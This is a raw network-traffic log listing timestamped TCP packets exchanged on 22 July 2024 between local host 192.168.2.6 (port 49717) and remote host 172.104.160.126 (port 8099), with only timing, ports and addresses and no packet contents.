Jul 22, 2024 15:57:49.395776987 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395809889 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395833015 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395844936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395869970 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395879030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395912886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395935059 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395945072 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395977020 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395992041 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396009922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396043062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396075010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396096945 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396106958 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396133900 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396595955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396630049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396661997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396689892 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396696091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396729946 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396744013 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396763086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396784067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396795034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396828890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396842003 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396862030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396894932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396929026 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396945953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.396961927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.396984100 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.397078991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397145033 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397176981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397198915 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.397236109 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.397257090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397289991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397321939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397341013 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.397356033 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.397808075 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.483721018 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483757019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483807087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483840942 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483854055 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.483875036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483906984 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.483908892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483959913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.483967066 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.483994961 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484044075 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484076977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484077930 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484110117 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484122038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484144926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484178066 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484211922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484226942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484241009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484267950 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484442949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484476089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484527111 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484529972 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484563112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484586000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484596014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484628916 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484662056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484678030 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484713078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484735966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484905005 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484939098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.484960079 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.484972000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485006094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485023022 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485038996 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485073090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485105991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485129118 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485138893 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485162020 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485171080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485203981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485235929 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485236883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485285997 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485594988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485646009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485678911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485707045 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485712051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485745907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485778093 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485802889 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485810041 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485838890 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485845089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485878944 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485899925 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485909939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485943079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.485953093 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.485979080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486012936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486044884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486061096 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486078978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486093998 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486112118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486159086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486190081 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486510038 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486543894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486577034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486604929 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486609936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486629009 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486643076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486675978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486709118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486725092 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486742020 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486762047 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486774921 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486807108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486840963 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.486856937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.486890078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487143040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487176895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487210035 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487226009 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487242937 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487276077 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487294912 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487308979 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487341881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487355947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487374067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487406969 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487437963 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487438917 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487472057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487500906 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487528086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487533092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487562895 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487566948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487601042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487632990 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.487647057 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.487683058 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488074064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488109112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488142967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488163948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488174915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488208055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488241911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488245010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488276005 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488291025 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488308907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488342047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488357067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488374949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488405943 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488439083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488455057 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488477945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488497019 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488526106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488559008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488571882 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488590956 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488622904 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488636971 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.488960028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.488993883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489012003 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489026070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489058971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489075899 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489109039 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489114046 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489140987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489146948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489181995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489213943 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489231110 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489247084 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489263058 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489279985 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489312887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489339113 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489345074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489419937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489758968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489792109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489825010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489847898 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489877939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489911079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489928007 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.489944935 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489983082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.489994049 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.490015984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.490165949 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.808919907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.808993101 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809029102 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809062004 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809094906 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809104919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809118032 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809143066 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809170961 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809192896 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809206009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809240103 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809272051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809288979 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809309006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809326887 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809343100 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809376001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809413910 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809426069 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809479952 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809642076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809674025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809706926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809734106 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809740067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809772968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809796095 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809823036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809856892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809891939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809921980 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809925079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809953928 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.809959888 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.809993029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810010910 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810024977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810058117 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810086966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810117006 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810122967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810152054 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810499907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810535908 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810548067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810581923 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810583115 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810615063 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810619116 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810646057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810668945 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810679913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810713053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810744047 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810745955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810779095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810792923 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810813904 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810849905 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810884953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810884953 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810918093 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810935974 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.810951948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.810983896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811016083 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811252117 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811310053 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811379910 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811430931 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811464071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811497927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811512947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811532021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811547041 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811567068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811599970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811628103 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811633110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811665058 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811676979 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811697006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811728954 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811759949 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811763048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811794996 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811806917 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.811829090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811861992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.811909914 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.812331915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812366962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812387943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.812398911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812432051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812467098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812486887 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.812515974 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.812529087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812561035 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812593937 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812628031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812643051 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.812660933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.812685966 CEST	49717	8099	192.168.2.6	172.104.160.126
